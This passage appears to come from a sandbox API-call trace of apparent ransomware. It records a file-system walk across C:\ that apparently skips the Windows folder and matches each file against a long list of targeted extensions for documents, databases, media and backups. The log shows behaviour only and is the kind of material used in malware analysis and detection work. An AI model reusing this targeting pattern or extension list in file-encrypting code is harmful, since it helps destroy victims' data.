ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0044.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.464] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.465] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.465] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.465] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.465] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0044.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.466] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.631] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.631] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.631] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.632] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0044.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.632] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.632] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.632] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.633] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.633] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0044.633] FindClose (in: hFindFile=0x60c008 | out: hFindFile=0x60c008) returned 1 [0044.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3600e70 | out: hHeap=0x5c0000) returned 1 [0044.633] FindNextFileW (in: hFindFile=0x60bfc8, lpFindFileData=0x2edfd00 | out: lpFindFileData=0x2edfd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0044.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x36b1300 [0044.633] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x60c008 [0044.634] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.634] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0044.634] FindClose (in: hFindFile=0x60c008 | out: hFindFile=0x60c008) returned 1 [0044.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0044.634] FindNextFileW (in: hFindFile=0x60bfc8, lpFindFileData=0x2edfd00 | out: lpFindFileData=0x2edfd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0044.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x36b1300 [0044.635] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="?`\x16")) returned 0xffffffff [0044.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0044.635] FindNextFileW (in: hFindFile=0x60bfc8, lpFindFileData=0x2edfd00 | out: lpFindFileData=0x2edfd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0044.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x36b1300 [0044.636] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x60c008 [0044.636] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.637] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0044.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3600e70 [0044.637] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b4d0 [0044.640] FindNextFileW (in: hFindFile=0x61b4d0, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.679] FindNextFileW (in: hFindFile=0x61b4d0, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0044.679] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3eb16d0 [0044.731] FindNextFileW (in: hFindFile=0x61b550, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.732] FindNextFileW (in: hFindFile=0x61b550, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0045.569] FindNextFileW (in: hFindFile=0x6b4328, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.569] FindNextFileW (in: hFindFile=0x6b4328, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0049.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0049.509] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0049.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91 [0049.509] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 1 [0049.509] lstrlenW (lpString="Excel.en-us") returned 11 [0049.509] lstrcmpiW (lpString1="C:\\Windows", lpString2="Excel.en-us") returned -1 [0049.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3f85888 [0049.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91 [0049.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44a8 [0049.510] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.510] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.510] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0049.510] lstrlenW (lpString=".1cd") returned 4 [0049.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.510] lstrlenW (lpString=".3ds") returned 4 [0049.510] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0049.510] lstrlenW (lpString=".3fr") returned 4 [0049.510] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0049.510] lstrlenW (lpString=".3g2") returned 4 [0049.510] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0049.510] lstrlenW (lpString=".3gp") returned 4 [0049.510] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0049.510] lstrlenW (lpString=".7z") returned 3 [0049.510] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.510] lstrlenW (lpString=".accda") returned 6 [0049.511] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".accdb") returned 6 [0049.511] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".accdc") returned 6 [0049.511] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".accde") returned 6 [0049.511] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".accdt") returned 6 [0049.511] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".accdw") returned 6 [0049.511] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0049.511] lstrlenW (lpString=".adb") returned 4 [0049.511] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0049.511] lstrlenW (lpString=".adp") returned 4 [0049.511] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0049.511] lstrlenW (lpString=".ai") returned 3 [0049.511] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0049.511] lstrlenW (lpString=".ai3") returned 4 [0049.511] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ai4") returned 4 [0049.512] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ai5") returned 4 [0049.512] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ai6") returned 4 [0049.512] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ai7") returned 4 [0049.512] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ai8") returned 4 [0049.512] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".anim") returned 5 [0049.512] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0049.512] lstrlenW (lpString=".arw") returned 4 [0049.512] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".as") returned 3 [0049.512] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0049.512] lstrlenW (lpString=".asa") returned 4 [0049.512] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".asc") returned 4 [0049.512] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0049.512] lstrlenW (lpString=".ascx") returned 5 [0049.512] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0049.512] lstrlenW (lpString=".asm") returned 4 [0049.513] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".asmx") returned 5 [0049.513] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0049.513] lstrlenW (lpString=".asp") returned 4 [0049.513] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".aspx") returned 5 [0049.513] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0049.513] lstrlenW (lpString=".asr") returned 4 [0049.513] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".asx") returned 4 [0049.513] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".avi") returned 4 [0049.513] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".avs") returned 4 [0049.513] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0049.513] lstrlenW (lpString=".backup") returned 7 [0049.513] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0049.513] lstrlenW (lpString=".bak") returned 4 [0049.513] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".bay") returned 4 [0049.514] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".bd") returned 3 [0049.514] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0049.514] lstrlenW (lpString=".bin") returned 4 [0049.514] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".bmp") returned 4 [0049.514] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".bz2") returned 4 [0049.514] lstrcmpiW (lpString1=".bz2", 